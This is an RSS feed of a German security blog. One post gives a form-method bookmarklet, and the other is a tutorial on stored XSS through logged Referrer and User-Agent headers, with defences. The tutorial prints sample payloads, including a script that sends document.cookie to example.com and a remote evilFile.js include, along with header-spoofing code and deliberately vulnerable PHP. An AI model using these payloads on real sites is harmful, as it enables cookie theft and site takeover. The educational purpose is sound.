<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>ROAE-Blog &#187; Security</title>
	<atom:link href="http://blog.root-of-all-evil.com/category/security/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.root-of-all-evil.com</link>
	<description>Studium, Codeing und Gedachtes</description>
	<lastBuildDate>Mon, 30 Jan 2012 22:58:12 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Bookmarklet erstellen: Methode bei HTML-Formularen ändern</title>
		<link>http://blog.root-of-all-evil.com/2010/02/bookmarklet-erstellen-methode-bei-html-formularen-andern/</link>
		<comments>http://blog.root-of-all-evil.com/2010/02/bookmarklet-erstellen-methode-bei-html-formularen-andern/#comments</comments>
		<pubDate>Mon, 22 Feb 2010 17:25:12 +0000</pubDate>
		<dc:creator>Felix</dc:creator>
				<category><![CDATA[Codeschnipsel]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[bookmarklet]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[form method]]></category>
		<category><![CDATA[get]]></category>
		<category><![CDATA[post]]></category>

		<guid isPermaLink="false">http://blog.root-of-all-evil.com/?p=441</guid>
		<description><![CDATA[<a href="http://blog.root-of-all-evil.com/2010/02/bookmarklet-erstellen-methode-bei-html-formularen-andern/" title="Bookmarklet erstellen: Methode bei HTML-Formularen ändern"></a>Als Entwickler ist es oft wichtig zu sehen welche Daten übetragen werden. Gründe hierfür sind z.B. Sicherheit und Debuging. Folgendes Bookmarklet, wandelt alle Formulare auf der Seite von post- auf get-Formulare um. Nachstehende Funktion ermittelt alle Form-Tags auf der Seite. &#8230;<p class="read-more"><a href="http://blog.root-of-all-evil.com/2010/02/bookmarklet-erstellen-methode-bei-html-formularen-andern/">Read more &#187;</a></p>]]></description>
			<content:encoded><![CDATA[<a href="http://blog.root-of-all-evil.com/2010/02/bookmarklet-erstellen-methode-bei-html-formularen-andern/" title="Bookmarklet erstellen: Methode bei HTML-Formularen ändern"></a><p>Als Entwickler ist es oft wichtig zu sehen welche Daten übetragen werden. Gründe hierfür sind z.B. Sicherheit und Debuging. Folgendes Bookmarklet, wandelt alle Formulare auf der Seite von post- auf get-Formulare um.</p>
<p><span id="more-441"></span></p>
<p>Nachstehende Funktion ermittelt alle Form-Tags auf der Seite. Sie überprüft anschließend, ob das method-Attribute vorhanden ist, wenn nicht wird es erstellt und der Wert &#8220;get&#8221; zugewiesen. Sollte das method-Attribute vorhanden sein, und den Wert &#8220;post&#8221; besitzen, wird dieser auf &#8220;get&#8221; geändert.</p>
<pre class="javascript" title="code">function changePostToGet()
{
	count = 0;
	els = document.getElementsByTagName('form');
	for(i=0;i&lt;els.length;i++)
	{
		if(!els[i].getAttribute('method'))
		{
			attrib = document.createAttribute('method');
			attrib.nodeValue = 'get';
			els[i].setAttributeNode(attrib);

			count ++;
		}
		else if(els[i].getAttribute('method').toLowerCase()=='post')
		{
			els[i].setAttribute('method', 'get');

			count ++;
		}
	}

	alert(count+' form(s) transformed.');
}</pre>
<p>Da es nun praktisch schlecht ist, diesen Code auf jeder Seite unterzubringen, auf welchen man ihn benötigen würde, erstellen wir uns daraus ein <a href="http://de.wikipedia.org/wiki/Bookmarklet">Bookmarklet</a>.</p>
<p>Der Funktionsrumpf wird hierzu in den <a href="http://javascriptcompressor.com/">Javascript Compressor</a> kopiert, welcher daraus folgenden String erstellt:</p>
<pre class="javascript" title="code">count=0;els=document.getElementsByTagName('form');for(i=0;i&lt;els.length;i++){if(!els[i].getAttribute('method')){attrib=document.createAttribute('method');attrib.nodeValue='get';els[i].setAttributeNode(attrib);count++}else if(els[i].getAttribute('method').toLowerCase()=='post'){els[i].setAttribute('method','get');count++}}alert(count+' form(s) transformed.');</pre>
<p>Um das Bookmarklet jetzt z.B. im Firefox zu benutzen, wird über den Lesezeichenmanager in der Lesezeichen-Symbolleiste ein neuer Favorit erstellt.  Bei Adresse tragen wir <em>javascript:&lt;code&gt;</em> ein wobei <em>&lt;code&gt;</em>durch den obigen String ersetzt wird.</p>
<div id="attachment_442" class="wp-caption aligncenter" style="width: 387px"><a href="http://blog.root-of-all-evil.com/wp-content/uploads/2010/02/22.02.jpg" rel="lightbox[441]"><img class="size-full wp-image-442" title="Bookmarklet in Firefox" src="http://blog.root-of-all-evil.com/wp-content/uploads/2010/02/22.02.jpg" alt="" width="377" height="265" /></a><p class="wp-caption-text">Erstellen eines neuen Bookmarklets in Firefox</p></div>
<p>Nach dem Klick auf &#8220;Hinzufügen&#8221; werden nun alle Formulare auf der Seite welche man gerade betrachtet, von post in get konvertiert.</p>
<p>Alternativ reicht es auch diesen Link in die Favoritenleiste des Browsers zu ziehen: <a style="cursor: move;" title="PostToGet Bookmarklet" href="javascript:count=0;els=document.getElementsByTagName('form');for(i=0;i&lt;els.length;i++){if(!els[i].getAttribute('method')){attrib=document.createAttribute('method');attrib.nodeValue='get';els[i].setAttributeNode(attrib);count++}else if(els[i].getAttribute('method').toLowerCase()=='post'){els[i].setAttribute('method','get');count++}}alert(count+' form(s) transformed.');">PostToGetBookmarklet</a></p>
<p>Wird dann ein solches Formular abgeschickt, ist schnell ersichtlich welche Parameter welchen Wert besitzen &#8211; ohne das Änderungen an der Webseite selbst vorgenommen werden müssen.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.root-of-all-evil.com/2010/02/bookmarklet-erstellen-methode-bei-html-formularen-andern/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Spoofing &#8211; Gefahren bei Referrer- und User Agent-Auswertung</title>
		<link>http://blog.root-of-all-evil.com/2010/02/gefahren-bei-referer-und-user-agent-auswertung/</link>
		<comments>http://blog.root-of-all-evil.com/2010/02/gefahren-bei-referer-und-user-agent-auswertung/#comments</comments>
		<pubDate>Fri, 05 Feb 2010 11:30:02 +0000</pubDate>
		<dc:creator>Felix</dc:creator>
				<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://blog.root-of-all-evil.com/?p=193</guid>
		<description><![CDATA[<a href="http://blog.root-of-all-evil.com/2010/02/gefahren-bei-referer-und-user-agent-auswertung/" title="Spoofing - Gefahren bei Referrer- und User Agent-Auswertung"></a>Hier werden die Gefahren beschrieben, die es mit sich bringt, wenn man unbedacht die Referer oder die User Agents seiner Besucher listet, oder ein Tool verwendet welches diese ungefiltert ausgibt. Es wird auf mögliche Angriffe eingegangen aber genauso auf wirksame &#8230;<p class="read-more"><a href="http://blog.root-of-all-evil.com/2010/02/gefahren-bei-referer-und-user-agent-auswertung/">Read more &#187;</a></p>]]></description>
			<content:encoded><![CDATA[<a href="http://blog.root-of-all-evil.com/2010/02/gefahren-bei-referer-und-user-agent-auswertung/" title="Spoofing - Gefahren bei Referrer- und User Agent-Auswertung"></a><p>Hier werden die Gefahren beschrieben, die es mit sich bringt, wenn man unbedacht die Referer oder die User Agents seiner Besucher listet, oder ein Tool verwendet welches diese ungefiltert ausgibt.<br />
Es wird auf mögliche Angriffe eingegangen aber genauso auf wirksame Gegenmaßnahmen.</p>
<p><span id="more-193"></span></p>
<h3>Einführung</h3>
<p><strong>Definition Referrer</strong></p>
<p>Ein Referrer bzw. HTTP-Referrer ist eine URI die in einer Anfrage enthalten ist und anzeigt, von welcher Seite ein Besucher auf die aktuelle Seite gelangt ist. Klickt z.B. ein User auf ein Suchergebnis von Google, enthält der Referrer die URL der Ergebnisseite auf welcher der Link gelistet war. Der Referrer ist als Klartext im Header enthalten.</p>
<p>So sieht z.B. der Referrer aus von http://www.tagesschau.de, wenn man auf Google.de nach &#8220;aktuelle Nachrichten&#8221; gesucht, und anschließend den Link angeklickt hat:</p>
<pre class="html:nocontrols:nogutter" title="code">http://www.google.de/url?sa=t&amp;source=web&amp;ct=res&amp;cd=1&amp;ved=0CA0QFjAA&amp;url=http%3A%2F%2Fwww.tagesschau.de%2F&amp;rct=j&amp;q=aktuelle+nachrichten&amp;ei=UmNgS97jCNmh_AaSyJCEDA&amp;usg=AFQjCNFgb7FEyZN6_A6xrb7JJ0h3FlOG4A&amp;sig2=Kj7fSSL5_OvR2TNNT0n6-Q</pre>
<div id="attachment_248" class="wp-caption alignright" style="width: 310px"><a href="http://blog.root-of-all-evil.com/wp-content/uploads/2010/01/27.01.jpg" rel="lightbox[193]"><img class="size-medium wp-image-248" title="Referrer im Opera deaktivieren" src="http://blog.root-of-all-evil.com/wp-content/uploads/2010/01/27.01-300x168.jpg" alt="" width="300" height="168" /></a><p class="wp-caption-text">Im Opera kann man den Referrer mit Boardmitteln deaktivieren. Mehr Informationen findet man in der Opera Knowledge Base unter &quot;Disabling referrer logging&quot;.</p></div>
<p>Aus folgenden Gründen wird der Referrer verwendet:</p>
<ul>
<li>Tracking<br />
Es kann interessant sein zu wissen, von welcher Seite die Besucher auf die eigene Seite gelangen (Marketing)</li>
<li>SEO (Search Engine Optimization)<br />
Oft kann man an Hand des Referrers ermitteln, ob und wenn ja über welche Suchmaschine der User auf die Seite gekommen ist.<br />
Auch können häufig die Suchbegriffe extrahiert werden.</li>
<li>&#8220;Sicherheit&#8221;<br />
Manche Seiten prüfen ob der Referrer einen bestimmten Wert entspricht. So soll sichergestellt werden, dass der Besucher nicht von einem externen/unerwünschten Webangebot auf die Seite verlinkt wurde. Da sich der Referrer jedoch leicht fälschen lässt, ist dies höchstens als Hürde, aber nicht als eine Barikarde zu sehen.</li>
</ul>
<p><span style="text-decoration: underline;">Hinweis:</span> Es heißt Refe<span style="text-decoration: underline;">rr</span>er und nicht Referer. Durch einen Rechtschreibfehler in einer RFC (<a href="http://tools.ietf.org/html/rfc2068" target="_blank">RFC 2068 &#8211; HTTP/1.1</a>), ist aber bis heute auch die zweite, falsche Schreibweise verbreitet (z.B. in PHP). Auch wird das Datum im Header über Referer (ein r) statt über Referrer angesprochen, in anderen Bereichen &#8211; z.B. Javascript &#8211; wurde dies wieder korrigiert.</p>
<p><strong>Referrer emitteln</strong></p>
<p>Referrer in PHP ermitteln:</p>
<pre class="php:nocontrols" title="code">echo "Referrer: ".$_SERVER['HTTP_REFERER'];</pre>
<p>Referrer in Javascript ermitteln:</p>
<pre class="javascript:nocontrols" title="code">document.write("Referrer: " + document.referrer);</pre>
<p>Weitere Möglichkeiten:</p>
<p>Es kann aber auch über das Modul mod_log_referer bei dem Webserver  Apache der Referrer direkt in die Logs geschrieben. Für andere Webserver stehen ebenfalls entsprechende Erweiterungen zur Verfügung.</p>
<p><strong>Referrer unterdrücken</strong></p>
<p>Viele Security-Tools wie Firewalls oder Virenscanner haben eine Option, die den Referrer automatisch entfernt. Von den Herrstellern wird hierdurch eine höhere Anonymität versprochen, was natürlich nur begrenzt der Wahrheit entspricht.</p>
<p>Auch kann Software von Haus aus den Referrer unterdrücken, z.B. der <em>Opera </em>(siehe Screenshot), aber auch der <em>Firefox. </em>Um den Referrer im <em>Firefox </em>zu unterdrücken, sind Änderung in der about:config bzw. am user.js notwendig. Weitere Informationen findet man im <a href="http://www.firefox-browser.de/wiki/Referer" target="_blank">FirefoxWiki unter <em>&#8220;Referer&#8221;.</em></a><em><br />
</em></p>
<p>Darüber hinaus gibt es Möglichkeiten von den Links z.B. der eigenen Homepage den Referrer zu entfernen. Ein solchen Service bietet unter anderem <a href="http://anonym.to/" target="_blank">anonym.to</a>. Hier können einzelne Links, oder durch das Einbinden eines Javascripts, alle Links auf der Seite dereferred werden.</p>
<p><strong>Definition User Agent</strong></p>
<p>Der User Agent enthält Informationen über den Client. Folgende Daten können aus dem User Agent ermittelt werden:</p>
<ul>
<li>Betriebssystem</li>
<li>Version des Betriebssystem</li>
<li>Sprache (nicht immer gegeben)</li>
<li>Browsername</li>
<li>Version des Browsers</li>
</ul>
<p>Hier beispielhaft verschiedene User Agent-Strings unter Windows 7</p>
<ul>
<li>Firefox 3.6:<br />
Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2) Gecko/20100115 Firefox/3.6</li>
<li>Google Chrome 3.0.195.38<br />
Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.38 Safari/532.0</li>
<li>Internet Explorer 8<br />
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR  2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet  PC 2.0; InfoPath.2; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; InfoPath.3)</li>
</ul>
<p>Unter <a href="http://www.user-agents.org/" target="_blank">http://www.user-agents.org/</a>findet man eine ausführliche Liste, welche aufzeigt, bei welchem String es sich um einen Browser, Crawler bzw. Bot handelt.</p>
<p>Über mehr oder weniger umfangreiche Scripts, kann man dann komfortabel auf bestimmte Eigenschaften zugreifen. Eine objektorientierte Verarbeitung des User Agent-Strings ist so z.B. mit der Javascript-Klasse <a href="http://www.quirksmode.org/js/detect.html" target="_blank"><em>Browserdetect</em> von quirksmode</a> möglich.</p>
<p>Durch diese Daten kann man z.B. ermitteln welche Sprache die User sprechen (genauer: welche Sprache beim Browser als Standardsprache eingestellt ist) und somit auf das Land schließen (hierfür eignet sich aber besser die IP-Adresse). Weiter kann man ableiten welche Funktionen der Browser unterstützt: ist der Internet Explorer in Version 8 stark vertreten, sollten man z.B. über die Einführung von <a href="http://www.microsoft.com/windows/internet-explorer/features/easier.aspx" target="_blank">Webslices</a> nachdenken, aber auf SVG verzichten.</p>
<p><strong>User Agent ermitteln</strong></p>
<p>User Agent in PHP ermitteln:</p>
<pre class="php:nocontrols" title="code">echo "User Agent: ".$_SERVER['HTTP_USER_AGENT'];</pre>
<p>User Agent in Javascript ermitteln:</p>
<pre class="javascript:nocontrols" title="code">document.write("User Agent: " +navigator.userAgent);</pre>
<div id="attachment_350" class="wp-caption alignright" style="width: 160px"><a href="http://blog.root-of-all-evil.com/wp-content/uploads/2012/01/05.02.jpg" rel="lightbox[193]"><img class="size-thumbnail wp-image-350" title="05.02" src="http://blog.root-of-all-evil.com/wp-content/uploads/2012/01/05.02-150x150.jpg" alt="" width="150" height="150" /></a><p class="wp-caption-text">Google Mail prüft den User Agent und warnt vor fehlender Funktionalität</p></div>
<p>Auch hier sind auch für die Serverseite Lösungen für die verschiedensten Webserver vorhanden.</p>
<p><strong>User Agent unterdrücken</strong></p>
<p>Der User Agent wird per default nicht unterdrückt und die Main-Browser (<em>IE, Firefox, Opera, Safari</em>) bieten von Haus aus auch keine direkte Option dies durchzuführen. Beim <em>Firefox </em>hilft erneut der <em>FirefoxWiki </em>weiter, wie man den <a href="http://www.firefox-browser.de/wiki/User_Agent" target="_blank">User Agent ändert</a>.</p>
<h3>Warum kann der User Agent / Referrer eine Gefahr sein?</h3>
<p>Wie wir wissen, werden die Daten auf der Userseite festgelegt. Durch Headermanipulation kann der User nun jede beliebige Zeichenkette schicken &#8211; deshalb gilt auch hier das oberste Gesetz bei der Softwareentwicklung: <strong>Never trust userdata.</strong></p>
<p>Stellen wir uns zur verdeutlichung folgendes vor:</p>
<p>Ein Seitenbetreiber setzt folgendes Script bei sich ein um alle Besucher seiner Seite mit Uhrzeit, User Agent und Referrer in einer Datenbank zu loggen (auf Fehlerbehandlung der Datenbankverbindung wurde verzichtet):</p>
<pre class="php" title="code">$user_agent = $_SERVER['HTTP_USER_AGENT'];
$referrer    = $_SERVER['HTTP_REFERER'];

$database = new SQLiteDatabase("mylog.db", 0666, $error);

// Schreibe User Agent und Referrer in Datenbank
$database-&gt;query("INSERT INTO visitor_log (tsp,user_agent,referrer)
				  VALUES (" . time() . ",'" . sqlite_escape_string($user_agent) . "', '"
				  . sqlite_escape_string($referrer) . "')");

// Lese letzte 10 Eintraege
$query = $database-&gt;query("SELECT * FROM visitor_log ORDER BY tsp DESC LIMIT 10",
                           SQLITE_ASSOC, $query_error);

$visitorData = array();
while ($row = $query-&gt;fetch()) {
    array_push($visitorData, $row);
}</pre>
<p>Die gesammelten Daten werden auf der Seite gefolgt ausgegeben:</p>
<pre class="php" title="code">print("Die letzten 10 Besucher:");
print("&lt;ul&gt;");
foreach ($visitorData as $data) {
   print("&lt;li&gt;");

   print("Um " . date("H:i:s", $data['tsp']) . " Besucher ");
   // Referrer nur ausgeben wenn vorhanden
   ($data['referrer'] ? print(" von " . $data['referrer'] . " ") : "");
   print("mit " . $data['user_agent']);

   print("&lt;/li&gt;");
}
print("&lt;/ul&gt;");</pre>
<p>Dies funktioniert natürlich fehlerfrei und erfüllt seinen Zweck, jedoch ist es anfällig für XSS: was wäre wenn der User die Daten für den Referrer / User Agent manipuliert, und z.B. folgendes als Referrer schickt:</p>
<pre class="html:nocontrols" title="code">&lt;h1&gt;Achtung:&lt;/h1&gt; &lt;a href="http://www.example.org"&gt;umbedingt hier klicken&lt;/a&gt;
</pre>
<pre class="javascript:nocontrols" title="code">&lt;script&gt;alert('HAHA, danke fuer dein Cookie!');
location.replace('http://example.com?c='+document.cookie);&lt;/script&gt;
</pre>
<p>Die möglichen Angriffe sind endlos. Der Angreifer könnte auch Code einbinden, der die zukünftigen (10) Besucher angreift oder über CSS eine DIV über die Seite legen und so seine gewünschten Inhalte anbieten.</p>
<p><span style="text-decoration: underline;">Hinweis:</span> Der Referrer und User Agent müssen in einer Zeile stehen. Aus Platzgründen wurde bei dem obigen zweiten Beispiel ein Umbruch eingefügt.</p>
<div id="attachment_321" class="wp-caption alignright" style="width: 160px"><a href="http://blog.root-of-all-evil.com/wp-content/uploads/2012/01/04.022.jpg" rel="lightbox[193]"><img class="size-thumbnail wp-image-321" title="04.022" src="http://blog.root-of-all-evil.com/wp-content/uploads/2012/01/04.022-150x150.jpg" alt="" width="150" height="150" /></a><p class="wp-caption-text">Erfolgreicher Angriff auf einer Seite</p></div>
<h3>Weitere theoretische Angriffsvarianten</h3>
<p>Das obige ist zugegeben nicht oft auffindbar &#8211; weit häufiger jedoch, dass der Seitenbetreiber ein Analysetool verwendet, um die Seitenzugriffe zu protokollieren (z.B. <a href="http://www.google.com/intl/de_ALL/analytics/" target="_blank">Google Analytics</a>).</p>
<p>Für die folgenden Angriffsvarianten gehen wir von einem fiktiven Analysetool aus, welches bestimmte &#8220;Programmierfehler&#8221; besser Sicherheitslücken aufweist.</p>
<p><strong>Unsaubere Auswertung der Suchbegriffe</strong></p>
<p>Im Kapitel Referrer wurde gezeigt, dass wenn ein Besucher von Google auf uns gelangt, wir seine Suchbegriffe extrahieren können. Hierfür bietet sich z.B. der folgende Code-Schnipsel an:</p>
<pre class="php:nocontrols" title="code">$parse_url = parse_url($referrer);
parse_str($parse_url['query'], $uri_elements);
$keywords = $uri_elements['q'];

print("Auf google.de wurde nach: \"$keywords\" gesucht.");</pre>
<p>Hier kann ein Angreifer einen Referrer schicken mit dem Aufbau</p>
<pre class="html:nocontrols" title="code">http://www.google.de?q=&lt;XSS&gt;</pre>
<p>und somit jeden beliebigen Code innerhalb des Auswertungstools ausführen. Auch listen Seiten oft &#8220;Die letzten 10 Suchbegriffe&#8221; oder vergleichbares womit eine Attacke auf der Seite möglich wäre.</p>
<p><strong>Fehlerhafte URLs</strong></p>
<p>Gehen wir davon aus, der User setzt ein CMS ein, dass protokolliert, welche Seiten aufgerufen wurden, insbesondere die Seiten welche nicht existieren. Diese Funktion ist sinnvoll, um z.B. nachzuvollziehen ob auf der eigenen HP ein fehlerhafter Link vorhanden ist welcher auf index.html statt auf  index.htm verweist.</p>
<p>Beispiel:</p>
<p>Auf dem Server ist folgende Dateistruktur gegeben, wobei jede Datei direkt vom Browser aufgerufen werden kann:</p>
<p>http://www.example.org</p>
<ul>
<li>index.html</li>
<li>files/
<ul>
<li>index.html</li>
<li>page1.html</li>
<li>page2.html</li>
</ul>
</li>
<li>images/
<ul>
<li>logo.gif</li>
</ul>
</li>
</ul>
<p>Ein Besucher ruft nun die URI</p>
<p><em>http://www.example.org/files/page3.html </em></p>
<p>auf, welche nicht existiert. Das CMS loggt daraufhin &#8220;/files/page3.html nicht gefunden&#8221; in einer Datei, welche vom Administrator eingesehen werden kann. Die Schwachstelle ist nun, dass der Besucher z.B. folgenden Link aufruft</p>
<pre class="javascript:nocontrols" title="code">http://www.example.org/files/&lt;script&gt;alert("Dein Cookie: "+document.cookie);&lt;/script&gt;</pre>
<p>woraufhin folgendes geloggt wird: &#8220;/files/&lt;script&gt;alert(&#8220;Dein Cookie: &#8220;+document.cookie);&lt;/script&gt; nicht gefunden&#8221;. Der JS-Code wird interpretiert und somit ist auch wieder XSS möglich.</p>
<p><strong>Sprache (als Teil vom User Agent faken)</strong><br />
Ein weiteres Szenario: aus dem User Agent wird die Sprache über ein Regex extrahiert und dann ausgegeben. Der Regex filtert vom 3. bis zum 4. Semikolon.</p>
<pre class="php:nocontrols" title="code">// z.B. Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2) Gecko/20100115 Firefox/3.6
$string = $_SERVER['HTTP_USER_AGENT'];
$pattern = '/\(([^;]+;){1,3}([^;]+)/i';

preg_match_all($pattern, $string, $match); 

echo "Browser hat " . $match[2][0] . " als Standardsprache.";</pre>
<p>Hier kann man z.B. folgenden User Agent senden, um XSS einzuschleusen:</p>
<pre class="html" title="code:nocontrols">Mozilla/5.0 (Windows; U; Windows NT 6.1; &lt;script&gt;alert('XSS')&lt;/script&gt;; rv:1.9.2) Gecko/20100115 Firefox/3.6</pre>
<p>Diese Javascript-Anweisung funktioniert auch ohne Semikolon. Über</p>
<pre class="javascript:nocontrols" title="code">&lt;script src="http://example.org/evilFile.js"&gt;&lt;/script&gt;</pre>
<p>können auch komplette Scripte nachgeladen werden.</p>
<p>Oft findet man auch die Darstellung in Flaggen, z.B.</p>
<pre class="php:nocontrols" title="code">&lt;img src="img/flag/&lt;lang&gt;.gif" /&gt;</pre>
<p>Hier muss dass XSS angepasst werden, damit man aus dem img-Tag ausbrechen kann:</p>
<pre class="html:nocontrols" title="code">"&gt;&lt;script&gt;alert('XSS');&lt;/script&gt;</pre>
<p>Daraus ergibt sich bei der interpretierten Seite</p>
<pre class="html:nocontrols" title="code">&lt;img src="img/flag/ "&gt;&lt;script&gt;alert('XSS');&lt;/script&gt; .gif" /&gt;</pre>
<p>Wie man sieht, stehen also bei der Sprache auch verschiedene Angriffsvarianten zur verfügung. Userdaten sollten also von Beginn an entsprechend gesichert sein, auch wenn man nur einen Teil aus den Daten verwendet.</p>
<h3>Finden von potentiellen Schwachstellen&#8230;</h3>
<p>Jeder sollte prüfen, ob sich auf seinem Webauftritt eine solche Schwachstelle befindet. Zum aufspüren bieten sich folgende drei Methoden an:</p>
<ul>
<li>öffentlich, es ist offensichtlich</li>
<li>Quellecodeanalyse, eine kurze Analyse zeigt eine Schwachstelle auf</li>
<li>&#8220;Auf gut Glück&#8221; <img src='http://blog.root-of-all-evil.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> , &#8220;try on error&#8221;</li>
</ul>
<p><span style="text-decoration: underline;">Öffentlich</span></p>
<p>Es findet eine Ausgabe von Referrer-Date oder User Agent-Daten direkt auf der Seite statt, oft in der Form &#8220;Die letzten 10 Besucher kommen von&#8230;&#8221; oder &#8220;häufigster Browser&#8221; (hier kann man einen gefakten Browser schicken, und so in die Liste gelangen).<br />
Hier ist natürlich langes Suchen nicht notwendig und ein Angreifer kann sofort beginnen Attacken zu starten.</p>
<p><span style="text-decoration: underline;">Quellcodeanalyse</span></p>
<div id="attachment_2801" class="wp-caption alignright" style="width: 160px"><a href="http://blog.root-of-all-evil.com/wp-content/uploads/2012/01/28.01.jpg" rel="lightbox[193]"><img class="size-thumbnail wp-image-264 " title="28.01" src="http://blog.root-of-all-evil.com/wp-content/uploads/2012/01/28.01-150x150.jpg" alt="" width="150" height="150" /></a><p class="wp-caption-text">Google Analytics führt kein XSS aus</p></div>
<p>Bei dieser Variante betrachtet man den HTML-Code von mehreren Webseiten. Hier sucht man nach einer Grafik (oft eine 1x1px) oder einem Javascript, dessen Namen auf eine Analyse-/ Protokoll-Software schließen lässt.</p>
<p>Am besten lädt man sich diese Software herunter und installiert sie. So kann man Sie auf Schwachstellen testen, die ggf. dann auf der eigenen Seite ausgeführt werden können.</p>
<p><span style="text-decoration: underline;">&#8220;Auf gut Glück&#8221;</span></p>
<p>Webseitenbetreiber setzten natürlich auch selbst geschriebene Lösungen ein (siehe &#8220;Fehlerhafte URLs&#8221;). Hier kann ein Angreifer nur durch Probieren eine Lücke ausnutzen.</p>
<p>Auch kann der Admin allgemein verfügbare Tools einsetzen, dessen Verwendung nicht ersichtlich ist. So nimmt z.B. das Tool <a href="http://www.mrunix.net/webalizer/">Webalizer </a>Statistik-Auswertungen direkt auf den Apachelogs vor. Hier besteht aber auch wieder die Gefahr, dass z.B. der User Agent in der Software direkt ausgegeben wird und so ein Angreifer &#8220;unbewusst&#8221; durch senden von XSS im User Agent dann zum Ziel gelangt, sobald eine Person die Statistiken betrachtet.</p>
<h3>&#8230; und beseitigen</h3>
<blockquote>
<p style="text-align: center;"><span style="color: #ff0000;">Never trust userdata.</span></p>
</blockquote>
<p style="text-align: left;">
<p>Daten die von außen kommen, sollten immer entsprechend behandelt werden. Hierfür bieten sich in PHP folgende Funktionen an:</p>
<div id="attachment_316" class="wp-caption alignright" style="width: 160px"><a href="http://blog.root-of-all-evil.com/wp-content/uploads/2012/01/04.02.jpg" rel="lightbox[193]"><img class="size-thumbnail wp-image-316 " title="04.02" src="http://blog.root-of-all-evil.com/wp-content/uploads/2012/01/04.02-150x150.jpg" alt="" width="150" height="150" /></a><p class="wp-caption-text">Korrekte Verarbeitung von Userdaten</p></div>
<ul>
<li><em>string </em><strong>htmlspecialchars </strong>( <em>string $string  [, int $quote_style = ENT_COMPAT  [, string $charset  [, bool $double_encode = true  ]]]</em> )<br />
Wandelt bestimmte Zeichen, z.B. &lt;,&gt; in HTML-Codes um (&amp;lt;, &amp;gt;)</li>
<li><em>string </em><strong>strip_tags</strong> ( <em>string $str  [, string $allowable_tags  ]</em> )<br />
Entfernt komplett die Tags aus einem String (&lt;b&gt;Hallo&lt;b/&gt; =&gt; Hallo)</li>
</ul>
<p>Ruft man diese Funktionen auf -am besten bevor man die Werte in die DB schreibt (und nicht erst bei der Ausgabe)- sind die obigen Angriffe wirkungslos.</p>
<p>Ein weitere Möglichkeit ist natürlich, komplett auf eine öffentliche Ausgabe zu verzichten. Hier muss dann aber das Analyzertool wo ggf. auf die Daten zugreift entsprechend abgesichert sein.</p>
<h3>Faken von Headerdaten (Referrer, User Agent)</h3>
<p>Die Daten werden über einfache Header gesendet und können so sehr leicht manipuliert werden. Hier verschiedene Implementierungen</p>
<p style="font-weight: bold;">über Ajax / Referrer, User Agent  in Javascript fälschen</p>
<pre class="javascript" title="code">		function spoofReferrerAndUserAgent(targetUrl, referrer, userAgent)
		{
			var addHeader = new Array();

			// Scheint nicht zu funktionieren
			/*
			if(referrer!='')
			{
				addHeader.push('Referer');
				addHeader.push(referrer);
			}
			*/

			if(userAgent!='')
			{
				addHeader.push('User-Agent');
				addHeader.push(userAgent);
			}

			new Ajax.Request(targetUrl, {
			  method: 'get',
			  requestHeaders: addHeader
			});
		}</pre>
<p style="font-weight: bold;"><span style="font-weight: normal;"><span style="text-decoration: underline;">Hinweis:</span> Wie man dem Kommentar entnehmen kann, ist es nicht gelungen durch das obige Javascript eine Referrer zu fälschen. Warum es nicht funktioniert ist mir leider nicht bekannt für einen Hinweis wäre ich dankbar.<br />
Man kann jedoch über den Ajax-Call ein PHP-Script aufrufen, welches die Daten sendet (siehe unten).</span></p>
<p style="font-weight: bold;">über PHP / Referer, User Agent in PHP fälschen</p>
<pre class="php" title="code">function fakeHeader($url, $referrer="", $userAgent="", $readOutput=false)
{
	$ret = "";
	$url_elements = parse_url($url);

	$fp = fsockopen($url_elements["host"], 80);
	fputs($fp, "GET " .$url_elements["path"]. " HTTP/1.1\r\n");
	fputs($fp, "Host: " .$url_elements["host"]. "\r\n");

	if($userAgent)
	{
		fputs($fp, "User-Agent: " .$userAgent. "\r\n");
	}

	if($referrer)
	{
		fputs($fp, "Referer: " .$referrer. "\r\n");
	}

	// Header fertig
	fputs($fp, "\r\n");

	if($readOutput)
	{
		while(!feof($fp)) {
			$ret .= fgets($fp, 128);
		}
	}

	fclose($fp);

	return $ret;
}</pre>
<p style="font-weight: bold;">über Plugins (Firefox)</p>
<p>Für den Mozilla Firefox ist eine Fülle von Add-ons vorhanden &#8211; auch zur Manipulation des User Agents / Referrers. So kann z.B. mit dem <a href="https://addons.mozilla.org/de/firefox/addon/59" target="_blank">Add-on User Agent Switcher</a> jeden beliebigen User Agent String senden:</p>
<p style="text-align: center;">
<div id="attachment_319" class="wp-caption aligncenter" style="width: 309px"><a href="http://blog.root-of-all-evil.com/wp-content/uploads/2012/01/blog_useragent.jpg" rel="lightbox[193]"><img class="size-medium wp-image-319 " title="blog_useragent" src="http://blog.root-of-all-evil.com/wp-content/uploads/2012/01/blog_useragent-299x273.jpg" alt="" width="299" height="273" /></a><p class="wp-caption-text">Verwaltung und editieren eines User Agents im User Agent Switcher</p></div>
